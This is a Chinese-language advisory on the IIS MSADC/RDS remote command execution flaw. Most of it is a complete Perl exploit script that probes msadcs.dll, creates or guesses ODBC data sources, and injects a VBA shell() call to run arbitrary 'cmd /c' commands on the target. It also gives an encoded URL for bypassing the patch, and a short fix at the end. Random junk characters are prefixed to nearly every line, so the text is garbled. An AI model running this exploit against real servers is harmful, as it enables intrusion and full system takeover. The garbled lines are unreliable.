IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1 `AE] .KLuGb 3JJ 涉及程序：
0`thND)?O Microsoft NT server
$ G}Q}f {p\KB!Y- 描述：
P3|<K-dFAK 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_t [%@G>P g !8lW 详细：
w#$k$T) 如果你没有时间读详细内容的话，就删除:
}<S2W\,G c:\Program Files\Common Files\System\Msadc\msadcs.dll
&ivIv[LV 有关的安全问题就没有了。
igL^k`&5^" qprOxP
r 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
gA|j\T{ c ]>,|v,i
= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q'r3a+ 关于利用ODBC远程漏洞的描述，请参看:
X[ (J !"+ c2f$:XiM http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm % G&v@R $F%?l \7j 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Q!{Dw :7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp `QF|>
N T}TP.!0E 这里不再论述。
e- CW4x *S4P'JSY 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
QMY4%uyY! ;$Jvqq|T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
iE`aGoA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
#*/h*GNMs M2S|$6t: ?0a 0 R #将下面这段保存为txt文件，然后: "perl -x 文件名"
{;/o4[jlg co80M;4 #!perl
6KG 63`aQ #
1aG}-:$t' # MSADC/RDS 'usage' (aka exploit) script
%R >S " #
A{%;Hd`0/ # by rain.forest.puppy
pAuwS n#i #
e8 aV
qq[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Y c k bc6F # beta test and find errors!
cg%CYV) MvmP["%J4_ use Socket; use Getopt::Std;
5aNDW'z`f getopts("e:vd:h:XR", \%args);
lz 6 A j 4 vS!99v) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
J.l% H U 6%#' X if (!defined $args{h} && !defined $args{R}) {
zOdKB2_J7 print qq~
B;r$( 'UZ Usage: msadc.pl -h <host> { -d <delay> -X -v }
^n F$<# a -h <host> = host you want to scan (ip or domain)
rg}kx vu -d <seconds> = delay between calls, default 1 second
eb\`)MI/ -X = dump Index Server path table, if available
gj^]}6-P -v = verbose
Nk4_! -e = external dictionary file for step 5
5#\p> }[HG F4%[R) Or a -R will resume a command session
AHY)#|/) m!g8@YI ~; exit;}
:<8V2 -RQQ|:O$ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
qu+2 ..3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dRa<,@1" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
);DIrA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
s[4 !R&b $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{fv8S;|u if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nF$)F?|| O Zm[i H if (!defined $args{R}){ $ret = &has_msadc;
|7x^@i9w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"Cj#bUw KB*=a print "Please type the NT commandline you want to run (cmd /c assumed):\n"
jgw'MpQm{ . "cmd /c ";
F|`B2Gr $in=<STDIN>; chomp $in;
5y i q# $command="cmd /c " . $in ;
/,Id_TTCO m (:qZW if (defined $args{R}) {&load; exit;}
!bQ
&n Sf SEA^@| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q]UYG( &try_btcustmr;
F5[ITK]A4 Yj/nzTVJ[ print "\nStep 2: Trying to make our own DSN...";
D@W3;T^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
hg'! Bl\kU8O- print "\nStep 3: Trying known DSNs...";
U2lC !j%K &known_dsn;
Sc 3M#qm_ -f|^}j? print "\nStep 4: Trying known .mdbs...";
p sy(]Pf &known_mdb;
"gajBY ~<[5uZIo if (defined $args{e}){
u!Nfoq&'u print "\nStep 5: Trying dictionary of DSN names...";
~LW%lMy;^| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&\` a5[ 4qXRDsbCf print "Sorry Charley...maybe next time?\n";
zRE8299%z exit;
lT!$\E$1
<O)X89dFM ##############################################################################
YkAWKCOni 0 2#Iip3t sub sendraw { # ripped and modded from whisker
B%:9 P sleep($delay); # it's a DoS on the server! At least on mine...
Q < -%jBP my ($pstr)=@_;
#33RhJu5, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'Qq_Xn 8 die("Socket problems\n");
cPaW J+c if(connect(S,pack "SnA4x8",2,80,$target)){
nEcd+7( select(S); $|=1;
jy@i(@Z print $pstr; my @in=<S>;
EQOP?>mWx! select(STDOUT); close(S);
,3- -ERf return @in;
}%FuL5Tx } else { die("Can't connect...\n"); }}
O0(Q0Ko
~
9~\f ##############################################################################
v; }`?@G ig _<kj;Vd sub make_header { # make the HTTP request
H?(S SL my $msadc=<<EOT
J[Yg]6 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
KW7 ? : x User-Agent: ACTIVEDATA
ME@6.* Host: $ip
OC>_=i$ ' Content-Length: $clen
S O:V|Tfj Connection: Keep-Alive
i@R$g~~-D ) !}-\5F ADCClientVersion:01.06
]F* a PV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b' oGt, oYh<k --!ADM!ROX!YOUR!WORLD!
5H :~6z Content-Type: application/x-varg
$K_YC~ Content-Length: $reqlen
:{ WrS [kuVQ$) EOT
*x o;pe)9 ; $msadc=~s/\n/\r\n/g;
H~dHVQtJZ return $msadc;}
Am4^v?q >AzWM
.r ##############################################################################
)x8;.@U H1%[\X?= sub make_req { # make the RDS request
=1
BNCKT< my ($switch, $p1, $p2)=@_;
z(`
}:t my $req=""; my $t1, $t2, $query, $dsn;
v]{uxlh :E mQ_?( ^ if ($switch==1){ # this is the btcustmr.mdb query
yB4H3Q ) $query="Select * from Customers where City=" . make_shell();
0 oj{e9h $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+ fd@K $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
c@ZS|U*( Ed^uA+ D elsif ($switch==2){ # this is general make table query
]C
~1]7vb $query="create table AZZ (B int, C varchar(10))";
4d e]?# = $dsn="$p1";}
o`\.I&Ij Q SF"8Uk elsif ($switch==3){ # this is general exploit table query
I !@s6tG $query="select * from AZZ where C=" . make_shell();
"<w2v'6S $dsn="$p1";}
W[>iJJwz H\| ]!8w5Z elsif ($switch==4){ # attempt to hork file info from index server
5K ,#4EOV $query="select path from scope()";
*m$ PH"
$dsn="Provider=MSIDXS;";}
1 O7]3&L@ Zgg'9E elsif ($switch==5){ # bad query
Z%+BWS3YqY $query="select";
2sqm7th $dsn="$p1";}
1 @% B? wMz-U- z $t1= make_unicode($query);
{ eEC:[ $t2= make_unicode($dsn);
I%9bPQ $req = "\x02\x00\x03\x00";
>sQ2@"y)s2 $req.= "\x08\x00" . pack ("S1", length($t1));
#`La|a.- $req.= "\x00\x00" . $t1 ;
{4:
-0itG $req.= "\x08\x00" . pack ("S1", length($t2));
G` , u40a $req.= "\x00\x00" . $t2 ;
l801` ~*gO $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Sk /#J!T8{ return $req;}
]am~aJ|L
@8=vFP' ##############################################################################
I( ]BMMj gwSN>oj
& sub make_shell { # this makes the shell() statement
L6:W'u^ return "'|shell(\"$command\")|'";}
q]6_ rY. S~0JoCeo ##############################################################################
>*dQq JI |e *Gz D sub make_unicode { # quick little function to convert to unicode
ohrw\<xsu my ($in)=@_; my $out;
z wL3,!t for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-B1YZ/.rz" return $out;}
@iU%`=ziz 8F zHNG ##############################################################################
{ITv&5 ?> d5DP^u sub rdo_success { # checks for RDO return success (this is kludge)
2Co@+I[,4& my (@in) = @_; my $base=content_start(@in);
V:
^JC>6 if($in[$base]=~/multipart\/mixed/){
_QR
g7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
T8n-u b< return 0;}
:GQ UM 6 [tUv*jw % ##############################################################################
dQ: ?<zZ 31 ~hlp; sub make_dsn { # this makes a DSN for us
K~c^*;F my @drives=("c","d","e","f");
a{h%DpG print "\nMaking DSN: ";
x6LjcRS| foreach $drive (@drives) {
_u> t3RUA print "$drive: ";
;}LJh8_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Oqpp= 7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
% drJ p6n% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
L 5+J
^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wGPotPdE2 return 0 if $2 eq "404"; # not found/doesn't exist
q"S(7xWS if($2 eq "200") {
\}D pb%^\ foreach $line (@results) {
tqK=\{U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
AzZJG v ]H } return 0;}
wG+=}1X 3[VWTq)D= ##############################################################################
d7* CwY9" }mKwFVZ sub verify_exists {
@0$}? 2 my ($page)=@_;
t\8&*(&3F my @results=sendraw("GET $page HTTP/1.0\n\n");
h1# S+k return $results[0];}
c4\C[$ <yZP|_ ##############################################################################
r*chL&7 8x9Rm sub try_btcustmr {
QZ&4:K+{ my @drives=("c","d","e","f");
| H 8^ my @dirs=("winnt","winnt35","winnt351","win","windows");
yO=p3PV d 5:UyUB foreach $dir (@dirs) {
\<ZLoy_ print "$dir -> "; # fun status so you can see progress
7,*%[#-HE foreach $drive (@drives) {
F" 'n4|q4n print "$drive: "; # ditto
i bXe"X/_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
bp#fyG" $reqlenlen=length( "$reqlen" );
~b Rd)1 $clen= 206 + $reqlenlen + $reqlen;
&UL_bG } GB>aT-G7q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i}B;+0<drx if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^_68]l= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
hT '=VN Q[uAIyv0 ##############################################################################
~ ].ggcl`w D {cZxI sub odbc_error {
`}gdN}; my (@in)=@_; my $base;
1}}>Un`U5, my $base = content_start(@in);
dCe X}Z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
wz#A1F $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`XW*kxpm $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`4V"s-T' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E"#Xc@ return $in[$base+4].$in[$base+5].$in[$base+6];}
^,TTwLy- t print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i )8N(HN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
WDkuB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ZB [ k{Y /ZW &0 E ##############################################################################
,gMy@ pjw aL^ sub verbose {
EB!daZH, my ($in)=@_;
(PRBS\*G return if !$verbose;
`ZMK9f: print STDOUT "\n$in\n";}
5wT>N46UX pzhl*ss"6 ##############################################################################
;Lo&}U3F,! Tf x :"u sub save {
so+4B1$)q my ($p1, $p2, $p3, $p4)=@_;
ghAi{@s$) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
brSi< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c #lPc>0xb close OUT;}
aXY ->< r &%.z*q ##############################################################################
"NzD1k6.L r?A|d.Tl sub load {
Q x)Jtb0`V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1ibnx2^YB open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y&oNv
xG- @p=<IN>; close(IN);
HjA_g 0u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
WKl +{e $target= inet_aton($ip) || die("inet_aton problems");
@I -Lv 5 print "Resuming to $ip ...";
4woO;Gm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Tycq1i^ if($p[1]==1) {
0Fw6Dq<8-! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o' 'wCr% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Xsuwa-G!5~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
wX,F`e3"/ if (rdo_success(@results)){print "Success!\n";}
Ai"-w" else { print "failed\n"; verbose(odbc_error(@results));}}
X!tf#tl elsif ($p[1]==3){
"i&"* ~ if(run_query("$p[3]")){
%Dig)<yx print "Success!\n";} else { print "failed\n"; }}
T $+-IAE elsif ($p[1]==4){
bAwl:l\` if(run_query($drvst . "$p[3]")){
M4m$\~zf print "Success!\n"; } else { print "failed\n"; }}
8VQ 24 r
exit;}
(Yb[)m>fQ} jS<_ ) ##############################################################################
6#e::GD 7~1IO|4t sub create_table {
,Hn^z<f my ($in)=@_;
wJ+Aw
$reqlen=length( make_req(2,$in,"") ) - 28;
}{[mrG $reqlenlen=length( "$reqlen" );
EME.h&A\G` $clen= 206 + $reqlenlen + $reqlen;
:5fAPK2r< my @results=sendraw(make_header() . make_req(2,$in,""));
ve 6w<3D@ return 1 if rdo_success(@results);
:6{`~= my $temp= odbc_error(@results); verbose($temp);
x@>&IBiL return 1 if $temp=~/Table 'AZZ' already exists/;
Ts$@s^S] return 0;}
\qh *E#j 5W? v'" ##############################################################################
q'Wr[A40j XT>.`, sv sub known_dsn {
l fZ04M{2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
E:`v+S_h my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@`3 6ku "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
XFVV},V
"banner", "banners", "ads", "ADCDemo", "ADCTest");
0\ 9K3 hr05L<?H foreach $dSn (@dsns) {
D L'i S print ".";
e4>"92hX next if (!is_access("DSN=$dSn"));
b</9Ai= if(create_table("DSN=$dSn")){
?:{sH#ua print "$dSn successful\n";
@=j WHS if(run_query("DSN=$dSn")){
t"072a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Iq7}
print "Something's borked. Use verbose next time\n";}}} print "\n";}
2 {Vcb ~@ jY[_ ##############################################################################
EZ;"'4;W {--0 z3n> sub is_access {
9^Fz iM my ($in)=@_;
8lF\v /vN $reqlen=length( make_req(5,$in,"") ) - 28;
66x?A0P $reqlenlen=length( "$reqlen" );
o2z]dTJ}o $clen= 206 + $reqlenlen + $reqlen;
_A13[Mt3 my @results=sendraw(make_header() . make_req(5,$in,""));
WY^W.1 X my $temp= odbc_error(@results);
&8.NT~"Gg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7>XDNI return 0;}
9,j-V p!G ML;*e "$ ##############################################################################
:cu #V jHN
+5=l sub run_query {
)^||\G my ($in)=@_;
9O{b]=>wq $reqlen=length( make_req(3,$in,"") ) - 28;
g~V +4+ $reqlenlen=length( "$reqlen" );
~/^5) g_ $clen= 206 + $reqlenlen + $reqlen;
4P^6oh0" my @results=sendraw(make_header() . make_req(3,$in,""));
98=wnWX 6$ return 1 if rdo_success(@results);
3(TsgP >` my $temp= odbc_error(@results); verbose($temp);
RrU BpqA return 0;}
1f",}qe; s,#>m*Rh ##############################################################################
m]i @ +C `.s({/|[ sub known_mdb {
u:0aM}9A my @drives=("c","d","e","f","g");
A_Frk'{qhB my @dirs=("winnt","winnt35","winnt351","win","windows");
F}Vr:~ my $dir, $drive, $mdb;
"-@ [R my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
uq z]J$ ^B8b%'\ # this is sparse, because I don't know of many
@(r /dZc my @sysmdbs=( "\\catroot\\icatalog.mdb",
r.7$&BCng "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(/3 5p g6\ "\\system32\\certmdb.mdb",
bfo[" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
D %Xo&V[ &0f5:M{P my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
{o(j^@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
dO a%9[ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ua!aaq& "\\cfusion\\cfapps\\security\\realm_.mdb",
D!7`CH+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
J:V?EE,\- "\\cfusion\\database\\cfexamples.mdb",
p]3?gK- "\\cfusion\\database\\cfsnippets.mdb",
/SYw; <= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$D G?M6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p K0"%eA "\\cfusion\\brighttiger\\database\\cleam.mdb",
P.gb 1$7< "\\cfusion\\database\\smpolicy.mdb",
\rv<$d@ L "\\cfusion\\database\cypress.mdb",
N7e"@Ic "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wI(M^8F_Mf "\\website\\cgi-win\\dbsample.mdb",
s[UHe{^T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Gz .|]:1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
4?B\O`sy. ); #these are just
F'0O2KQ foreach $drive (@drives) {
dAuJXGo foreach $dir (@dirs){
j]`PSl+w foreach $mdb (@sysmdbs) {
HTG%t/ S print ".";
](hE^\SC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d3xmtG {i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
h $2</J" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)ut &@] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
B
{>7-0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
{.XEL wb0L.'jyR) foreach $drive (@drives) {
_*f` iu:` foreach $mdb (@mdbs) {
q<M2,YrbAI print ".";
7Op>i,HZk\ if(create_table($drv . $drive . $dir . $mdb)){
GW fL print "\n" . $drive . $dir . $mdb . " successful\n";
@{2 5xTt if(run_query($drv . $drive . $dir . $mdb)){
n@) K # print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
|:gf lseE } else { print "Something's borked. Use verbose next time\n"; }}}}
vX.VfY }
ueUuJxq) FYpz Q6s~ ##############################################################################
|!4K!_y Fe4(4 sub hork_idx {
d$1@4r print "\nAttempting to dump Index Server tables...\n";
F1yqxWHeo print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6^`1\
# f $reqlen=length( make_req(4,"","") ) - 28;
c z8T $reqlenlen=length( "$reqlen" );
< J`0 $clen= 206 + $reqlenlen + $reqlen;
JJN.ugT}1 my @results=sendraw2(make_header() . make_req(4,"",""));
p;>ec:z3M if (rdo_success(@results)){
xA$XT[D my $max=@results; my $c; my %d;
"]}
bFO7C for($c=19; $c<$max; $c++){
s*. hl.k. $results[$c]=~s/\x00//g;
%WjXg:R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
A
PEE ~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=c\>(2D $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gi1^3R[ $d{"$1$2"}="";}
8 <Q dMkI foreach $c (keys %d){ print "$c\n"; }
Hquc
o } else {print "Index server doesn't seem to be installed.\n"; }}
Li4zTR|U X aMJDa|M ##############################################################################
S4_YT@VD% rC ^WPW sub dsn_dict {
rX2 .i7i, open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Q' {M L4 while(<IN>){
GjvOM y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~qTx|", next if (!is_access("DSN=$dSn"));
9y"@( if(create_table("DSN=$dSn")){
+nFu|qM} print "$dSn successful\n";
fHx*e'eA if(run_query("DSN=$dSn")){
n{ar gI8wF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%]} print "Something's borked. Use verbose next time\n";}}}
Rl?_^dPx print "\n"; close(IN);}
c(xrP/yOwi ~:s>aQ`! ##############################################################################
.WZ^5>M- <L8' ! q} sub sendraw2 { # ripped and modded from whisker
:(P9m t sleep($delay); # it's a DoS on the server! At least on mine...
8V `WO6* my ($pstr)=@_;
ymhtX6] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vXrx{5 gz die("Socket problems\n");
}C"%p8=HM if(connect(S,pack "SnA4x8",2,80,$target)){
\ C+~m print "Connected. Getting data";
.ypL=~Rp open(OUT,">raw.out"); my @in;
?N *>*" select(S); $|=1; print $pstr;
6]WAUK%h while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
f@wquG' close(OUT); select(STDOUT); close(S); return @in;
SJn;{X>)q } else { die("Can't connect...\n"); }}
0d)M\lG 61C7.EZZ; ##############################################################################
l[0RgO*S "c%0P"u sub content_start { # this will take in the server headers
Fo5FNNiID my (@in)=@_; my $c;
d;Ym=YHJtn for ($c=1;$c<500;$c++) {
pP&7rRhw if($in[$c] =~/^\x0d\x0a/){
hd%F nykq if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l *(8i ^ else { return $c+1; }}}
$]/{[@5 return -1;} # it should never get here actually
O`IQ(,yef ohGJ 1 ##############################################################################
pZ.ecZe/ dd %6t sub funky {
WUn]F~Lt my (@in)=@_; my $error=odbc_error(@in);
24 ' J if($error=~/ADO could not find the specified provider/){
H(A Rw'M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
X:"i4i[}{9 exit;}
l` lk-nb if($error=~/A Handler is required/){
].w4$OJ? print "\nServer has custom handler filters (they most likely are patched)\n";
M6 "PX *K exit;}
!GjQPAW if($error=~/specified Handler has denied Access/){
t%0VJB,Q2 print "\nServer has custom handler filters (they most likely are patched)\n";
i+ ?^8 # exit;}}
NZ:,ph mp1@|*Sn ##############################################################################
x)DMPVB< ?=sDM& ' sub has_msadc {
h n
G Z= my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0*3R=7_},o my $base=content_start(@results);
]m3HF& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
sUO`u qZV return 0;}
` r6 ,+& A:%`wX } ########################
Vx u0F]% \ ;B iq` /hR&8 `\\ 解决方案：
,?%Zc$\LW 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
9s
q 2、移除web 目录: /msadc
